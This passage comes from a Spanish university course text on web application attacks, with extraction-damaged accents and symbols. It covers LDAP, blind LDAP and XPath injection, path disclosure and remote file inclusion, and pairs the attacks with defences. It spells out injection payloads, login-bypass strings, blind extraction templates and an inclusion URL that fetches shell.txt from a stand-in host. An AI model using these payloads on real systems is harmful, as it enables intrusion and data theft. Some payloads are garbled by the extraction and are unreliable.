Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 38: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

